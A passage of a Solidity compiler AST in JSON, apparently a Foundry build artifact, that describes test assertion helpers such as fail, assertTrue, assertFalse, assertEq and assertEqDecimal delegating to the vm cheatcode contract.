\"failed\""},"value":"failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8f44d68b1a26169d304522fa2f95aa938d98120d628d1db5726120ca84e53b43","typeString":"literal_string \"failed\""}],"id":258,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1518:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":257,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1518:7:1","typeDescriptions":{}}},"id":260,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1518:17:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[{"arguments":[{"hexValue":"31","id":265,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1553:1:1","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":264,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1545:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":263,"name":"uint256","nodeType":"ElementaryTypeName","src":"1545:7:1","typeDescriptions":{}}},"id":266,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1545:10:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":262,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1537:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":261,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1537:7:1","typeDescriptions":{}}},"id":267,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1537:19:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":250,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"1496:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1499:5:1","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"1496:8:1","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":268,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1496:61:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":269,"nodeType":"ExpressionStatement","src":"1496:61:1"},{"expression":{"id":272,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":270,"name":"_failed","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":218,"src":"1567:7:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":271,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1577:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"1567:14:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":273,"nodeType":"ExpressionStatement","src":"1567:14:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"fail","nameLocation":"1462:4:1","parameters":{"id":248,"nodeType":"ParameterList","parameters":[],"src":"1466:2:1"},"returnParameters":{"id":249,"nodeType":"ParameterList","parameters":[],"src":"1486:0:1"},"scope":2695,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":287,"nodeType":"FunctionDefinition","src":"1594:89:1","nodes":[],"body":{"id":286,"nodeType":"Block","src":"1647:36:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":283,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":277,"src":"1671:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":280,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"1657:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":282,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1660:10:1","memberName":"assertTrue","nodeType":"MemberAccess","referencedDeclaration":14645,"src":"1657:13:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":284,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1657:19:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":285,"nodeType":"ExpressionStatement","src":"1657:19:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertTrue","nameLocation":"1603:10:1","parameters":{"id":278,"nodeType":"ParameterList","parameters":[{"constant":false,"id":277,"mutability":"mutable","name":"data","nameLocation":"1619:4:1","nodeType":"VariableDeclaration","scope":287,"src":"1614:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":276,"name":"bool","nodeType":"ElementaryTypeName","src":"1614:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1613:11:1"},"returnParameters":{"id":279,"nodeType":"ParameterList","parameters":[],"src":"1647:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":302,"nodeType":"FunctionDefinition","src":"1689:113:1","nodes":[],"body":{"id":301,"nodeType":"Block","src":"1761:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":297,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":289,"src":"1785:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":298,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":291,"src":"1791:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":294,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"1771:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":296,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1774:10:1","memberName":"assertTrue","nodeType":"MemberAccess","referencedDeclaration":14653,"src":"1771:13:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure external"}},"id":299,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1771:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":300,"nodeType":"ExpressionStatement","src":"1771:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertTrue","nameLocation":"1698:10:1","parameters":{"id":292,"nodeType":"ParameterList","parameters":[{"constant":false,"id":289,"mutability":"mutable","name":"data","nameLocation":"1714:4:1","nodeType":"VariableDeclaration","scope":302,"src":"1709:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":288,"name":"bool","nodeType":"ElementaryTypeName","src":"1709:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":291,"mutability":"mutable","name":"err","nameLocation":"1734:3:1","nodeType":"VariableDeclaration","scope":302,"src":"1720:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":290,"name":"string","nodeType":"ElementaryTypeName","src":"1720:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1708:30:1"},"returnParameters":{"id":293,"nodeType":"ParameterList","parameters":[],"src":"1761:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":314,"nodeType":"FunctionDefinition","src":"1808:91:1","nodes":[],"body":{"id":313,"nodeType":"Block","src":"1862:37:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":310,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":304,"src":"1887:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":307,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"1872:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":309,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1875:11:1","memberName":"assertFalse","nodeType":"MemberAccess","referencedDeclaration":13987,"src":"1872:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":311,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1872:20:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":312,"nodeType":"ExpressionStatement","src":"1872:20:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertFalse","nameLocation":"1817:11:1","parameters":{"id":305,"nodeType":"ParameterList","parameters":[{"constant":false,"id":304,"mutability":"mutable","name":"data","nameLocation":"1834:4:1","nodeType":"VariableDeclaration","scope":314,"src":"1829:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":303,"name":"bool","nodeType":"ElementaryTypeName","src":"1829:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1828:11:1"},"returnParameters":{"id":306,"nodeType":"ParameterList","parameters":[],"src":"1862:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":329,"nodeType":"FunctionDefinition","src":"1905:115:1","nodes":[],"body":{"id":328,"nodeType":"Block","src":"1978:42:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":324,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":316,"src":"2003:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":325,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":318,"src":"2009:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":321,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"1988:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":323,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1991:11:1","memberName":"assertFalse","nodeType":"MemberAccess","referencedDeclaration":13995,"src":"1988:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure external"}},"id":326,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1988:25:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":327,"nodeType":"ExpressionStatement","src":"1988:25:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertFalse","nameLocation":"1914:11:1","parameters":{"id":319,"nodeType":"ParameterList","parameters":[{"constant":false,"id":316,"mutability":"mutable","name":"data","nameLocation":"1931:4:1","nodeType":"VariableDeclaration","scope":329,"src":"1926:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":315,"name":"bool","nodeType":"ElementaryTypeName","src":"1926:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":318,"mutability":"mutable","name":"err","nameLocation":"1951:3:1","nodeType":"VariableDeclaration","scope":329,"src":"1937:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":317,"name":"string","nodeType":"ElementaryTypeName","src":"1937:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1925:30:1"},"returnParameters":{"id":320,"nodeType":"ParameterList","parameters":[],"src":"1978:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":344,"nodeType":"FunctionDefinition","src":"2026:104:1","nodes":[],"body":{"id":343,"nodeType":"Block","src":"2089:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":339,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":331,"src":"2111:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":340,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":333,"src":"2117:5:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":336,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"2099:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":338,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2102:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13709,"src":"2099:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$_t_bool_$returns$__$","typeString":"function (bool,bool) pure external"}},"id":341,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2099:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":342,"nodeType":"ExpressionStatement","src":"2099:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"2035:8:1","parameters":{"id":334,"nodeType":"ParameterList","parameters":[{"constant":false,"id":331,"mutability":"mutable","name":"left","nameLocation":"2049:4:1","nodeType":"VariableDeclaration","scope":344,"src":"2044:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":330,"name":"bool","nodeType":"ElementaryTypeName","src":"2044:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":333,"mutability":"mutable","name":"right","nameLocation":"2060:5:1","nodeType":"VariableDeclaration","scope":344,"src":"2055:10:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":332,"name":"bool","nodeType":"ElementaryTypeName","src":"2055:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2043:23:1"},"returnParameters":{"id":335,"nodeType":"ParameterList","parameters":[],"src":"2089:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":362,"nodeType":"FunctionDefinition","src":"2136:128:1","nodes":[],"body":{"id":361,"nodeType":"Block","src":"2218:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":356,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":346,"src":"2240:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":357,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":348,"src":"2246:5:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":358,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":350,"src":"2253:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":353,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"2228:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":355,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2231:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13719,"src":"2228:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,bool,string memory) pure external"}},"id":359,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2228:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":360,"nodeType":"ExpressionStatement","src":"2228:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"2145:8:1","parameters":{"id":351,"nodeType":"ParameterList","parameters":[{"constant":false,"id":346,"mutability":"mutable","name":"left","nameLocation":"2159:4:1","nodeType":"VariableDeclaration","scope":362,"src":"2154:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":345,"name":"bool","nodeType":"ElementaryTypeName","src":"2154:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":348,"mutability":"mutable","name":"right","nameLocation":"2170:5:1","nodeType":"VariableDeclaration","scope":362,"src":"2165:10:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":347,"name":"bool","nodeType":"ElementaryTypeName","src":"2165:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":350,"mutability":"mutable","name":"err","nameLocation":"2191:3:1","nodeType":"VariableDeclaration","scope":362,"src":"2177:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":349,"name":"string","nodeType":"ElementaryTypeName","src":"2177:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2153:42:1"},"returnParameters":{"id":352,"nodeType":"ParameterList","parameters":[],"src":"2218:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":377,"nodeType":"FunctionDefinition","src":"2270:110:1","nodes":[],"body":{"id":376,"nodeType":"Block","src":"2339:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":372,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":364,"src":"2361:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":373,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":366,"src":"2367:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":369,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"2349:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":371,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2352:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13829,"src":"2349:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure external"}},"id":374,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2349:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":375,"nodeType":"ExpressionStatement","src":"2349:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"2279:8:1","parameters":{"id":367,"nodeType":"ParameterList","parameters":[{"constant":false,"id":364,"mutability":"mutable","name":"left","nameLocation":"2296:4:1","nodeType":"VariableDeclaration","scope":377,"src":"2288:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":363,"name":"uint256","nodeType":"ElementaryTypeName","src":"2288:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":366,"mutability":"mutable","name":"right","nameLocation":"2310:5:1","nodeType":"VariableDeclaration","scope":377,"src":"2302:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":365,"name":"uint256","nodeType":"ElementaryTypeName","src":"2302:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2287:29:1"},"returnParameters":{"id":368,"nodeType":"ParameterList","parameters":[],"src":"2339:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":395,"nodeType":"FunctionDefinition","src":"2386:134:1","nodes":[],"body":{"id":394,"nodeType":"Block","src":"2474:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":389,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":379,"src":"2496:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":390,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":381,"src":"2502:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":391,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":383,"src":"2509:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":386,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"2484:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":388,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2487:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13927,"src":"2484:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,string memory) pure external"}},"id":392,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2484:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":393,"nodeType":"ExpressionStatement","src":"2484:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"2395:8:1","parameters":{"id":384,"nodeType":"ParameterList","parameters":[{"constant":false,"id":379,"mutability":"mutable","name":"left","nameLocation":"2412:4:1","nodeType":"VariableDeclaration","scope":395,"src":"2404:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":378,"name":"uint256","nodeType":"ElementaryTypeName","src":"2404:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":381,"mutability":"mutable","name":"right","nameLocation":"2426:5:1","nodeType":"VariableDeclaration","scope":395,"src":"2418:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":380,"name":"uint256","nodeType":"ElementaryTypeName","src":"2418:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":383,"mutability":"mutable","name":"err","nameLocation":"2447:3:1","nodeType":"VariableDeclaration","scope":395,"src":"2433:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":382,"name":"string","nodeType":"ElementaryTypeName","src":"2433:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2403:48:1"},"returnParameters":{"id":385,"nodeType":"ParameterList","parameters":[],"src":"2474:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":413,"nodeType":"FunctionDefinition","src":"2526:152:1","nodes":[],"body":{"id":412,"nodeType":"Block","src":"2620:58:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":407,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":397,"src":"2649:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":408,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":399,"src":"2655:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":409,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":401,"src":"2662:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":404,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"2630:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":406,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2633:15:1","memberName":"assertEqDecimal","nodeType":"MemberAccess","referencedDeclaration":13667,"src":"2630:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure external"}},"id":410,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2630:41:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":411,"nodeType":"ExpressionStatement","src":"2630:41:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"2535:15:1","parameters":{"id":402,"nodeType":"ParameterList","parameters":[{"constant":false,"id":397,"mutability":"mutable","name":"left","nameLocation":"2559:4:1","nodeType":"VariableDeclaration","scope":413,"src":"2551:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":396,"name":"uint256","nodeType":"ElementaryTypeName","src":"2551:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":399,"mutability":"mutable","name":"right","nameLocation":"2573:5:1","nodeType":"VariableDeclaration","scope":413,"src":"2565:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":398,"name":"uint256","nodeType":"ElementaryTypeName","src":"2565:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":401,"mutability":"mutable","name":"decimals","nameLocation":"2588:8:1","nodeType":"VariableDeclaration","scope":413,"src":"2580:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256